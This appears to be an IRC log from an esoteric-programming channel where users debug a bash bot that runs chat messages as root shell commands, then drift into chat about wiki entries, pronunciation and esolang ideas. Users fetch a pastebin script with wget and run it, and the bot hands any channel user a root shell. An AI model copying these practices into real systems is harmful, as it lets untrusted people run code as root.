02:31:27 <havocbot> oerjan:#!/bin/bash::if [ ! "$(grep nox /proc/cmdline)" ]:then:if [ -x /usr/bin/X ]:then:if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];:then:rm -f /etc/startx:##STARTX:[ -f /etc/motd ] && cat /etc/motd:fi:fi:fi
02:31:52 <oerjan> havocbot: ls -l .bashrc
02:31:54 <havocbot> oerjan:-rw-r--r-- 1 root root 221 Aug 4 2015 .bashrc
02:31:58 <moon__> : is used when a \n is encountered
02:32:09 <oerjan> hm .bashrc is too old to be broken
02:32:18 <oerjan> oh wait...
02:32:24 <oerjan> of course.
02:32:27 <moon__> what?
02:32:46 <oerjan> it tries to run the string 'echo
02:32:50 <moon__> lol
02:33:32 <oerjan> havocbot: echo echo $PATH | bash
02:33:32 <havocbot> oerjan:echo $PATH | bash
02:33:38 <oerjan> bah
02:33:43 <oerjan> hm tricky
02:33:45 <moon__> hah
02:34:17 <oerjan> echo test hi
02:34:22 <oerjan> havocbot: echo test hi
02:34:23 <havocbot> oerjan:test hi
02:34:25 <oerjan> thought so
02:35:10 <oerjan> havocbot: cat test
02:35:27 <moon__> nonexistent
02:35:35 <moon__> it could use a better script to run it
02:35:36 <moon__> hah
02:35:51 <moon__> because its not echoed to irc
02:36:52 <oerjan> havocbot: cat mk
02:37:01 <oerjan> oh also nonexistent?
02:37:07 <oerjan> havocbot: ls
02:37:08 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:37:16 <oerjan> havocbot: file mk
02:37:17 <havocbot> oerjan:mk: HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
02:37:24 <oerjan> oh
02:37:33 <moon__> ?
02:37:39 <moon__> windows goofed it?
02:37:47 <oerjan> moon__: you didn't download the raw version
02:37:58 <moon__> ah, hahah
02:38:12 <moon__> havocbot: wget http://pastebin.com/raw/VkvFjPqu
02:38:32 <moon__> havocbot: mv VkvFjPqu
02:38:36 <moon__> havocbot: mv VkvFjPqu mk
02:38:51 <moon__> havocbot: ./mk test//foobar
02:39:04 <moon__> havocbot: file mk
02:39:05 <havocbot> moon__:mk: ASCII text, with no line terminators
02:39:27 <moon__> huh
02:39:30 <moon__> havocbot: mk
02:39:36 <moon__> havocbot: ./mk
02:39:54 <oerjan> havocbot: file echo-p
02:39:54 <havocbot> oerjan:echo-p: ASCII text, with no line terminators
02:39:58 <moon__> havocbot: bash -c ' ./mk foo//bar '
02:40:04 <oerjan> havocbot: cat echo-p
02:40:15 <oerjan> wat
02:40:19 <moon__> idk what
02:40:23 <oerjan> havocbot: cat echo-p
02:40:31 <moon__> im no good at bash, it did run th
02:40:53 <oerjan> moon__: you cannot run bash commands containing spaces at this point
02:41:06 <oerjan> i'm more concerned that my cat failed
02:41:10 <moon__> ?
02:41:12 <oerjan> havocbot: echo hi
02:41:13 <havocbot> oerjan:hi
02:41:14 <zzo38> Then, are you going to fix it?
02:41:29 <moon__> eh, depends if i can figure out how, haha
02:42:28 <oerjan> havocbot: xxd echo-p
02:42:31 <moon__> if anyone offers a better script, tho, ill happily use it
02:42:45 <oerjan> havocbot: hexdump echo-p
02:42:45 <havocbot> oerjan:0000000 6365 6f68 2220 3124 3b22 5b20 205b 2422:0000010 2231 3d20 203d 2f2a 202a 5d5d 2620 2026:0000020 6b6d 6964 2072 702d 2220 7b24 2531 2a2f:0000030 227d 3220 2f3e 6564 2f76 756e 6c6c :000003e
02:42:50 <moon__> xxd is a invalid command
02:43:04 <oerjan> ok so there's a file
02:43:11 <oerjan> testing something
02:43:31 <moon__> kk
02:43:49 <oerjan> havocbot: wc echo-p
02:43:49 <havocbot> oerjan: 0 12 62 echo-p
02:44:03 <oerjan> huh...
02:44:13 <moon__> did i forget to chmod?
02:44:22 <oerjan> could it simply be failing because there's no newline in it?
02:44:30 <oerjan> `file bin/echo-p
02:44:33 <HackEgo> bin/echo-p: ASCII text
02:44:48 <moon__> its the command from hackego
02:44:52 <moon__> for mk compat
02:45:13 <oerjan> havocbot: sed -i s/$/\n/ echo-p
02:45:27 <moon__> no return
02:45:27 <oerjan> havocbot: cat echo-p
02:45:28 <havocbot> oerjan:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null
02:45:34 <oerjan> that fixed it
02:45:38 <moon__> oh
02:45:55 <moon__> check if mk is invalid
02:46:00 <oerjan> moon__: you don't print output which doesn't end with a newline, i think
02:46:08 <oerjan> havocbot: file mk
02:46:08 <havocbot> oerjan:mk: ASCII text, with no line terminators
02:46:11 <moon__> havocbot: ./echo-p
02:46:17 <oerjan> havocbot: sed -i s/$/\n/ mk
02:46:28 <oerjan> havocbot: cat mk
02:46:28 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key"
02:46:34 <moon__> ./mk foo//bar
02:46:44 <moon__> havocbot: ./mk foo//bar
02:46:51 <moon__> command not found
02:46:54 <oerjan> i think there might be a problem finding echo-p
02:47:05 <moon__> no its mk thats not found
02:47:18 <moon__> as stated by the terminal
02:47:19 <oerjan> havocbot: ls ~
02:47:31 <moon__> invalid dir
02:47:35 <moon__> try just ls
02:47:39 <oerjan> havocbot: ls .
02:47:39 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:47:42 <moon__> thats the dir we are in
02:47:43 <moon__> :P
02:48:22 <moon__> havocbot: ls /
02:48:22 <havocbot> moon__:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
02:48:31 <oerjan> havocbot: sed -i s,echo-p,.,echo-p, mk
02:48:37 <oerjan> havocbot: cat mk
02:48:37 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key"
02:48:44 <oerjan> oops
02:48:49 <oerjan> havocbot: sed -i s,echo-p,./echo-p, mk
02:48:51 <oerjan> havocbot: cat mk
02:48:52 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(./echo-p "$key")" && echo "$key"
02:49:02 <moon__> havocbot: ./mk foo//bar
02:49:13 <oerjan> havocbot: cat foo
02:49:17 <oerjan> :(
02:49:18 <moon__> mk: command not found in line 175 of bashbot
02:49:52 <oerjan> moon__: well that's strange.
02:49:57 <oerjan> havocbot: ls -l mk
02:49:57 <havocbot> oerjan:-rw-r--r-- 1 root root 163 Jun 10 01:48 mk
02:49:58 <moon__> mhm
02:50:02 <oerjan> bah
02:50:08 <moon__> ?
02:50:10 <oerjan> havocbot: chmod +x mk
02:50:15 <moon__> oh lol
02:50:19 <moon__> havocbot: ./mk foo//bar
02:50:22 <oerjan> havocbot: ls -l echo-p
02:50:22 <havocbot> oerjan:-rwxr-xr-x 1 root root 63 Jun 10 01:44 echo-p
02:50:31 <moon__> mk is still not found
02:50:36 <oerjan> havocbot: chmod a+x mk
02:50:40 <oerjan> havocbot: ls -l mk
02:50:41 <havocbot> oerjan:-rwxr-xr-x 1 root root 163 Jun 10 01:48 mk
02:50:50 <moon__> you blacked my terminal with that for some reason
02:50:59 <moon__> actually
02:51:06 <moon__> just gentoo going to sleep, nvm
02:51:13 <oerjan> ...
02:51:26 <moon__> does gentoo do that?
02:51:34 <oerjan> havocbot: cat foo
02:52:56 <moon__> urg
02:53:21 <moon__> if i knew bash a little better, we wouldnt have this problem >_>
02:53:39 <moon__> well, maybe a python bot made by someone would help.
02:55:10 -!- Kaynato has joined.
02:55:22 <moon__> havocbot: echo Hello
02:55:22 <havocbot> moon__:Hello
02:55:33 <oerjan> hm...
02:55:49 -!- xkapastel has quit (Quit: Connection closed for inactivity).
02:55:52 <oerjan> havocbot: bash -c echotest
02:55:52 <havocbot> oerjan:
02:55:59 <oerjan> wat
02:56:06 <moon__> .-.
02:56:16 <oerjan> havocbot: bash -c echo
02:56:16 <havocbot> oerjan:
02:56:19 <oerjan> oh.
02:56:20 <moon__> multiargs ruin everything
02:56:34 <oerjan> yes. i was trying to see if tabs got around it.
02:56:54 <moon__> maybe fizzie could help, he/she is good with computers
02:58:25 <oerjan> havocbot: bash -c echo{,$PATH}
02:58:25 <havocbot> oerjan:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
02:58:31 <moon__> anyone who has experience with gentoo on?
02:58:33 <oerjan> :P
02:58:39 <oerjan> found a trick
02:58:40 <moon__> wait gcc? oh yay
02:58:51 <moon__> oh neat
02:59:05 <oerjan> hm no home directory listed
02:59:18 <moon__> cd goes to it, but thats it >_>
02:59:51 <oerjan> you should add the bin directory to $PATH
03:00:06 <moon__> if i knew how, im a linux newb still hah
03:00:09 <oerjan> then you can have new commands in their proper place
03:00:16 <oerjan> hmph
03:00:44 <moon__> you *are* the root user you know
03:00:49 <oerjan> hm...
03:00:55 <oerjan> havocbot: ls /
03:00:56 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:04 <oerjan> wat
03:01:09 <oerjan> havocbot: ls ..
03:01:09 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:14 <oerjan> havocbot: ls ../../
03:01:14 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:22 <oerjan> havocbot: ls /../../
03:01:23 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:33 <oerjan> what happened to all the stuff i saw before...
03:01:37 <oerjan> havocbot: ls
03:01:38 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
03:01:44 <oerjan> i guess it's that
03:01:57 <oerjan> havocbot: file ii-1.7
03:01:58 <havocbot> oerjan:ii-1.7: directory
03:02:08 <oerjan> havocbot: ls ii-1.7
03:02:08 <havocbot> oerjan:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh
03:02:50 <moon__> ii is a irc service, but i didnt use it
03:02:57 <moon__> dont touch bashbot-master
03:03:01 <moon__> that contains havoc
03:03:40 <moon__> and the shellscript
03:03:43 <oerjan> oh that's it
03:03:50 <moon__> if you can upload it somewhere and fix it. go ahead
03:03:51 <oerjan> havocbot: ls bashbot-master
03:03:58 <oerjan> wat
03:04:05 <oerjan> havocbot: file bashbot-master
03:04:06 <havocbot> oerjan:bashbot-master: cannot open `bashbot-master' (No such file or directory)
03:04:10 <moon__> no cd
03:04:11 <moon__> hah
03:04:23 <moon__> its the hackego nocd situation, remember?
03:04:26 <oerjan> havocbot: file ii-1.7/bashbot-master
03:04:26 <havocbot> oerjan:ii-1.7/bashbot-master: directory
03:04:34 <oerjan> havocbot: ls ii-1.7/bashbot-master
03:04:35 <havocbot> oerjan:README:bashbot:bashbot.config:bashbot.pid:commands:filters
03:04:45 <oerjan> havocbot: ls ii-1.7/bashbot-master/bashbot
03:04:46 <havocbot> oerjan:ii-1.7/bashbot-master/bashbot
03:05:01 <moon__> the script is 'bashbot' i decided not to reinvent the wheel and just modified a script by someone else
03:05:31 <oerjan> havocbot: grep "[$]@" ii-1.7/bashbot-master/bashbot
03:05:31 <havocbot> oerjan: printf "%s\r\n" "$@" >&3; }: if [[ "$@" =~ $f ]]; then:bashbot_args=("$0" "$@"): case "$@" in: builtin_reload "$@": "${builtin_commands[$cmd]}" "$@": $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g': # "/bin/$cmd" "$@" | sed ':a;N;$!ba;s/\n/:/g': cd "$@"
03:05:49 <oerjan> sheesh
03:05:59 <moon__> $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g' is what i came up with to get rid of the endlines
03:06:06 <moon__> yes i know
03:06:12 <moon__> please dont kill me
03:09:31 <oerjan> nah that's about how awkward that is in sed
03:09:44 <oerjan> joining lines is _not_ fun
03:11:09 <moon__> +1
03:11:15 <moon__> thats all i can say
03:14:04 <moon__> chat's dead
03:14:06 <moon__> again
03:14:14 <moon__> say something if you are alive
03:15:21 <moon__> ima install the stage3 tarball so you all can use gcc
03:15:27 -!- havocbot has quit (Remote host closed the connection).
03:16:16 -!- havocbot has joined.
03:16:18 <moon__> actually, i think its easier to get the tarball over irc
03:16:22 <moon__> havocbot: wget distfiles.gentoo.org/releases/x86/autobuilds/20160607/stage3-i686-20160607.tar.bz2
03:16:38 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:16:42 <moon__> oh boy my network is lsow
03:17:46 <moon__> someone give my internet a hug
03:17:47 <moon__> also
03:17:58 <moon__> you can do stuff while the tarball downloads i think
03:18:02 <moon__> havocbot: ls
03:18:02 <havocbot> moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2
03:18:36 <moon__> dont touch the tarball
03:21:53 -!- oerjan has quit (Quit: Something's gone wrong with tmux again).
03:22:18 <moon__> im lonely
03:23:07 -!- xkapastel has joined.
03:23:31 <moon__> havocbot: echo hello
03:23:32 <havocbot> moon__:hello
03:24:56 <moon__> chat is truely dead
03:25:49 -!- oerjan has joined.
03:26:03 <moon__> wb
03:26:15 <oerjan> i think something locked up temporarily on this server
03:26:26 <oerjan> but it eventually resolved. i think.
03:26:52 <moon__> what server?
03:27:33 <oerjan> the server i'm irc'ing via
03:27:47 <oerjan> (not an irc server, a linux server)
03:27:47 <moon__> oh
03:28:00 <oerjan> now i need some food ->
03:28:21 <moon__> you think you could make a better irc script for havoc? it can be in either bash or python
03:30:53 <quintopia> helloon
03:31:25 <moon__> hii
03:31:37 <moon__> havocbot is still kinda glitchy, but it works
03:31:46 <quintopia> you'd be less lonely if you renamed it bruce
03:31:49 <moon__> havocbot: echo hello!
03:31:49 <havocbot> moon__:hello!
03:31:51 <moon__> lol
03:31:54 <moon__> nah
03:37:44 <trn> weev/moot 2020!
03:37:59 <trn> or maybe esr/rooshv
03:39:23 <oerjan> moon__: i think i've used more time on this bot than i wanted to at this time.
03:49:18 -!- moon__ has quit (Ping timeout: 250 seconds).
03:49:28 -!- havocbot has quit (Ping timeout: 272 seconds).
03:58:55 <oerjan> `? `?
03:58:58 <HackEgo> ​`? is the command to query wisdom entries.
03:59:40 <shachaf> `before
03:59:47 <HackEgo> wisdom/can't//can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't st
03:59:49 <shachaf> `cat bin/before
03:59:52 <HackEgo> lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
03:59:58 <shachaf> `cat bin/lastfiles
03:59:59 <HackEgo> hg log -l 1 --template "{files}\n"
04:00:49 <oerjan> `undo 8426
04:00:57 <HackEgo> patching file 'wisdom/`?'
04:01:40 <shachaf> `mkx bin/before//([[ -n "$1" ]] && echo "$1" || lastfiles) | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:01:43 <HackEgo> bin/before
04:01:57 <shachaf> Hmm, maybe not.
04:02:01 <shachaf> `revert
04:02:25 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
04:02:25 <quintopia> huh. pronouncing all of those with a ɑː is kind of fun
04:02:59 <shachaf> `sled bin/lastfiles//s/$/ "$@"/
04:03:02 <HackEgo> bin/lastfiles//hg log -l 1 --template "{files}\n" "$@"
04:03:06 <shachaf> `lastfiles
04:03:12 <HackEgo> bin/lastfiles
04:03:13 <shachaf> `lastfiles wisdom
04:03:18 <HackEgo> wisdom/`?
04:03:23 <oerjan> `? `?
04:03:25 <HackEgo> ​`? ¯\(°​_o)/¯
04:03:43 <shachaf> `sled bin/before//s/files/files "$@"/
04:03:47 <HackEgo> bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:03:51 <shachaf> `before
04:03:59 <HackEgo> bin/before//lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:04:03 <shachaf> `before wisdom
04:04:13 <HackEgo> wisdom/`?//`? ¯\(°​_o)/¯
04:04:17 <shachaf> there we go tdh
04:04:18 <oerjan> fancy
04:04:30 <oerjan> `before share
04:04:37 <HackEgo> share/test//share/test: no such file in rev 9345cfdfdd22
04:04:39 <shachaf> `sled bin/lastfiles//s/....$/-- "$@"/
04:04:42 <HackEgo> bin/lastfiles//hg log -l 1 --template "{files}\n" -- "$@"
04:05:11 <shachaf> `before wisdom/`?
04:05:17 <HackEgo> wisdom/`?//`? ¯\(°​_o)/¯
04:05:22 <shachaf> `? `?
04:05:23 <HackEgo> ​`? ¯\(°​_o)/¯
04:05:31 <shachaf> Hmm, is something wrong there?
04:05:49 <oerjan> no, it's fine hth
04:05:55 -!- Melvar has quit (Ping timeout: 260 seconds).
04:06:30 <shachaf> What am I missing?
04:06:40 <shachaf> Oh, wait.
04:06:42 <shachaf> Now I see.
04:06:47 <shachaf> Of course -r -2 doesn't do what I want.
04:07:12 <oerjan> oh that
04:07:26 <oerjan> tricky
04:08:34 -!- bender has joined.
04:10:34 <shachaf> `cat bin/spam
04:10:36 <HackEgo> line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline
04:11:16 <shachaf> `sled bin/before//s/-2/"$(hg log --template '{rev}\\n' "$f" | tail -n+2 | head -n1)"/
04:11:19 <HackEgo> bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
04:11:23 <shachaf> `before wisdom
04:11:33 <HackEgo> wisdom/`?//`? is the command to query wisdom entries.
04:11:40 <shachaf> hth
04:11:53 <shachaf> Of course now it'll run three hg commands.
04:13:29 <oerjan> `learn Politics: See lies.
04:13:33 <HackEgo> Learned 'politic': Politics: See lies.
04:13:38 <oerjan> bah
04:13:46 <oerjan> `` mv politic{,s}
04:13:48 <HackEgo> mv: cannot stat `politic': No such file or directory
04:13:54 <oerjan> `` mv wisdom/politic{,s}
04:13:57 <HackEgo> No output.
04:18:50 <shachaf> `? lies
04:18:51 <HackEgo> Lies are even easier than monoids. They form groups, known as Lie groups.
04:19:30 <shachaf> `learn Politics are even easier than monoids. They form groups, known as Politic groups
04:21:16 -!- Melvar has joined.
04:22:38 -!- spiette has joined.
04:36:23 -!- \oren\in_maid_ca has joined.
04:36:40 <\oren\in_maid_ca> hi
04:37:17 -!- \oren\in_maid_ca has changed nick to \oren\maidcafe.
04:38:53 <\oren\maidcafe> someone make a esolang where もえもえきゅーん is a valid program
04:39:46 <pikhq> Brainfuck HTH
04:42:04 <\oren\maidcafe> pikhq how about if the hiraganna have to make it into the parser
04:43:52 <\oren\maidcafe> for some reason i cant seem to ssh frome here. owell
04:46:37 -!- \oren\maidcafe_ has joined.
04:48:14 -!- \oren\maidcafe has quit (Ping timeout: 250 seconds).
04:59:30 -!- \oren\maidcafe_ has quit (Ping timeout: 250 seconds).
05:20:45 -!- dnm has joined.
05:32:20 -!- contrapumpkin has joined.
05:34:10 -!- copumpkin has quit (Ping timeout: 252 seconds).
06:33:51 -!- Kaynato has quit (Ping timeout: 246 seconds).
06:35:59 <myname> can you actually refer to politics as "they"?
06:38:15 <Sgeo_> So, in bases 4 and greater, 111*111=12321. Is there a name for this sort of thing?
06:38:20 <Sgeo_> http://pastie.org/10871341
06:46:53 <myname> multiplication :p
06:47:19 <oerjan> Sgeo_: i dunno but 11^n is another good one
06:47:26 <oerjan> (for various n)
06:47:55 <oerjan> (and sufficiently high bases)
06:48:40 <myname> 11^n is neat
06:49:40 -!- lambda-11235 has quit (Quit: Bye).
07:07:00 <izabera> We do but teach bloody instructions
07:07:02 <izabera> Which, being taught, return to plague th' inventor
07:29:28 -!- hppavilion[1] has joined.
07:46:05 <hppavilion[1]> Waaaaaait
07:46:13 <hppavilion[1]> I think I found a solution to the utilities puzzle
07:46:23 <hppavilion[1]> Or, a solution to the way it is usually explained
07:46:33 <hppavilion[1]> Because obviously there isn't a "pure" solution
07:46:51 <hppavilion[1]> But the explanation usually given leaves out a rather important bit
07:49:23 <HackEgo> [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47186&oldid=45215 * * (+17) no one actually pronounces this symbol like that...it may be a claim of the author but `pronounced` implies actual real-world pronunciation
07:52:48 -!- Destructible has joined.
07:53:07 <Destructible> hoi
07:53:49 <Destructible> anybody
07:53:52 <Destructible> ?'
07:53:52 <lambdabot> Maybe you meant: v @ ? .
07:54:26 <Destructible> anybody?
07:54:34 <Destructible> `? people
07:54:42 <HackEgo> people? ¯\(°​_o)/¯
07:58:54 -!- Destructible has quit (Ping timeout: 250 seconds).
07:59:50 -!- mroman has joined.
07:59:56 <mroman> fnirdle
08:05:56 <HackEgo> [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47187&oldid=47186 * Oerjan * (-8) Descriptivism is boring
08:43:32 <hppavilion[1]> I'm more of a restrictivist myself
08:44:09 <hppavilion[1]> oerjan: (Prescriptivist scum!)
08:45:50 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:47:11 <HackEgo> [wiki] [[Template:Wrongtitle]] https://esolangs.org/w/index.php?diff=47188&oldid=30193 * Hppavilion1 * (+25) Chastised people, increased informational quality, got to the root of the problem, and made it more esoteric-befitting, all in one fell sweep.
09:05:15 -!- augur_ has quit (Remote host closed the connection).
09:16:55 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
09:17:48 <HackEgo> [wiki] [[Template:Wrongtitle]] M https://esolangs.org/w/index.php?diff=47189&oldid=47188 * Oerjan * (-25) Reverted edits by [[Special:Contributions/Hppavilion1|Hppavilion1]] ([[User talk:Hppavilion1|talk]]) to last revision by [[User:Ehird|Ehird]]
09:45:41 -!- oerjan has quit (Quit: Nite).
10:00:25 <b_jonas> "<quintopia> huh. pronouncing all of those with a ɑː is kind of fun" => for most words it doesn't matter, but it's vital for "can't", because it lets you distinguish "can't do" from "can do" easily
10:00:53 <b_jonas> I usually pronounce most of those words with /ɑː/
10:01:01 <b_jonas> (not all)
10:17:27 -!- Phantom_Hoover has joined.
10:21:29 -!- gamemanj has joined.
10:58:39 -!- Destructible has joined.
10:58:43 <Destructible> hi
11:10:58 <Destructible> anybody?
11:29:30 -!- Destructible has quit (Quit: Page closed).
11:29:58 -!- Destructible has joined.
11:33:08 <Destructible> hellloooooo
11:33:13 -!- boily has joined.
11:33:18 <Destructible> hi
11:36:12 <Destructible> hello?
11:36:50 <boily> Destructibello!
11:37:03 <Destructible> destructibello?
11:37:48 <boily> it's a porthello. I tend to be known for them.
11:38:01 <boily> witness: hellochaf.
11:39:20 <Destructible> ok
11:40:06 <Destructible> well, I had an idea for a language
11:41:53 <Destructible> there would be only two operations
11:43:35 <Destructible> digit roots
11:43:42 <Destructible> oh wait
11:43:48 <Destructible> I had a better idea
11:43:57 <Destructible> only one operation
11:44:43 <Destructible> digit roots
11:45:28 <Destructible> wait
11:45:40 <Destructible> nevermind i have no actually idea
11:48:11 <boily> don't root your digits. that seems to be the start cause of your problems hth
11:49:49 <Destructible> was that funny?
11:50:26 <Destructible> I had another idea
11:52:36 <Destructible> it takes place on a grid of bytes
11:52:51 <Destructible> it has very few commands, if not one
11:54:41 <Destructible> on one of the tiles is a value of one
11:55:50 <Destructible> the main command consists of coordinates of the grid
11:57:09 <Destructible> if the grid tile is zero, the grid tile is equal to the 4 orthoganally adjacent tiles
11:57:12 <Destructible> otherwise
11:57:18 <Destructible> grid tile is zero
11:58:36 <Destructible> any other command would be control structures
12:01:07 <boily> extreme binary self-modifying befunge?
12:01:14 <boily> that sounds interesting.
12:01:32 <Destructible> no
12:01:35 <Destructible> no it is not
12:02:03 <Destructible> the grid only contains values
12:03:57 <Destructible> i think it could also have a goto at the end if it's a certain value or something.
12:04:05 <Destructible> then it could be a urisc
12:07:15 <Destructible> in fact, perhaps it could be the machine code for an eso comp
12:07:51 <Destructible> witha grid of bytes, numbered on x and y, instead of a single value
12:13:18 -!- hppavilion[1] has joined.
12:15:48 <Destructible> hi
12:16:34 <Destructible> hello hppavilion[1]
12:17:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
12:25:35 -!- gamemanj has quit (Remote host closed the connection).
12:29:56 -!- boily has quit (Quit: NUDE CHICKEN).
12:33:29 -!- atrapado has joined.
12:41:01 <b_jonas> wait wait wait
12:41:08 <b_jonas> ImageMagick version 7 is released?
12:41:16 <b_jonas> was that even listed?
12:41:42 <b_jonas> what other software was released while I wasn't looking?
12:43:11 <b_jonas> when was it released?
12:55:35 <Yurume_> Linux 4
12:56:42 <b_jonas> Yurume_: no, sorry. Linux has lots of nice and useful development, it is important, but I don't care about the arbitrary major version number increase.
12:57:02 <Yurume_> yeah, but just in case
12:57:08 <b_jonas> sure
13:06:44 <Destructible> hi
13:20:01 -!- spiette has quit (Ping timeout: 252 seconds).
13:24:02 -!- Destructible has quit (Quit: Page closed).
13:33:33 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:53:22 -!- mroman has quit (Ping timeout: 250 seconds).
14:21:04 -!- Koen_ has joined.
14:33:22 -!- idris-bot has joined.
14:36:01 -!- spiette has joined.
14:52:31 -!- lambda-11235 has joined.
14:53:24 -!- spiette has quit (Ping timeout: 244 seconds).
14:55:01 -!- spiette has joined.
15:51:43 -!- contrapumpkin has changed nick to copumpkin.
15:54:48 -!- dnm has quit (Ping timeout: 276 seconds).
15:57:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
15:59:32 -!- xkapastel has joined.
16:04:32 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
16:24:17 -!- Kaynato has joined.
16:43:23 -!- havocbot has joined.
16:45:15 -!- moon_ has joined.
16:45:25 -!- Akaibu has joined.
16:45:32 <moon_> is chat dead? havocbot's logs show so
16:47:15 <moon_> havocbot: bash
16:47:41 <moon_> aww i cant call commands still
16:47:51 <moon_> havocbot: echo unfrozenverify
16:47:52 <havocbot> moon_:unfrozenverify
16:48:52 <moon_> )=
16:49:13 -!- havocbot has quit (Remote host closed the connection).
16:49:15 <prooftechnique> What is dead may never die
16:49:28 -!- havocbot has joined.
16:49:39 <moon_> lol
16:50:52 <moon_> by the way. havocbot can be pmed
16:51:10 <prooftechnique> Though I guess what I really mean is "That is not dead which can eternal lie", but I was watching GoT earlier :|
16:51:25 <moon_> heh
16:51:28 <prooftechnique> Speaking specifically about oerjan's eternal lying hth
16:51:33 <moon_> lol
16:51:49 <prooftechnique> Neat. What does havocbot do?
16:51:57 <moon_> maybe ybden's successful attempts at kiling havocbot? havocbot is a gentoo bot
16:52:08 <moon_> i tryed to get it on openbsd with no sucess
16:52:39 <moon_> havocbot: ls
16:52:39 <havocbot> moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2
16:52:42 <prooftechnique> So it obsesses about USE flags and rices all day erryday?
16:53:09 <prooftechnique> havocbot: tail -n 2 bashbot.config
16:53:09 <havocbot> prooftechnique:port=6667:chans=( "#esoteric" )
16:53:24 <moon_> dont you dare >_>
16:53:37 <moon_> well, actully, go ahead, the stuff is hardcoded
16:53:49 <moon_> havoc is written in bash
16:54:01 <moon_> and i will murder you if you killall
16:54:18 <prooftechnique> Now if I could just remember all the incantations to rebuild the kernel with some wacky flags
16:54:22 <myname> tempting
16:54:35 <prooftechnique> I guess there's not a ton to be done with only a stage3 tarball, but still
16:54:40 <ybden> havocbot: cat bashbot.config
16:54:40 <havocbot> ybden:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
16:54:43 <izabera> where is havoc's source?
16:54:55 <moon_> the last folder inside ii-1.7
16:54:59 <moon_> bahsbot-master
16:55:05 <moon_> *bashbot-master
16:55:25 <moon_> where i preformed necromantic wizardry on someone else's irc bot
16:55:29 <prooftechnique> havocbot: tree ii-1.7
16:55:42 <moon_> not found
16:55:56 <moon_> i need to install that stage3 so we have gcc
16:55:59 <prooftechnique> havocbot: emerge -a tree
16:56:11 <moon_> not found, idk where it is
16:56:16 <moon_> but the livecd lacks it
16:56:27 <ybden> for some unknown reason
16:56:31 <moon_> ^
16:56:35 <ybden> This is Gentoo. Without a compiler.
16:56:49 <moon_> thats why i have the stae3
16:56:53 <moon_> i just need to install it
16:56:57 <izabera> gimme source
16:57:12 <moon_> havocbot: tar xzjf stage3-i686-20160607.tar.bz2
16:57:26 <moon_> im no good at tar
16:57:30 <moon_> havocbot: tar jf stage3-i686-20160607.tar.bz2
16:57:45 <moon_> havocbot: tar xjf stage3-i686-20160607.tar.bz2
16:57:51 <moon_> there
16:58:00 <moon_> you can preform cmmands in parallel, by the way
16:58:01 <prooftechnique> havocbot: tar xvjpf stage3-*.tar.bz2 --xattrs
16:58:07 <prooftechnique> Oh, whoops
16:58:08 <moon_> thats why interactives dont cause problems
16:58:21 <moon_> xattr is not avaliable
16:58:25 <moon_> damnit livecd
16:58:39 <moon_> havocbot: ls
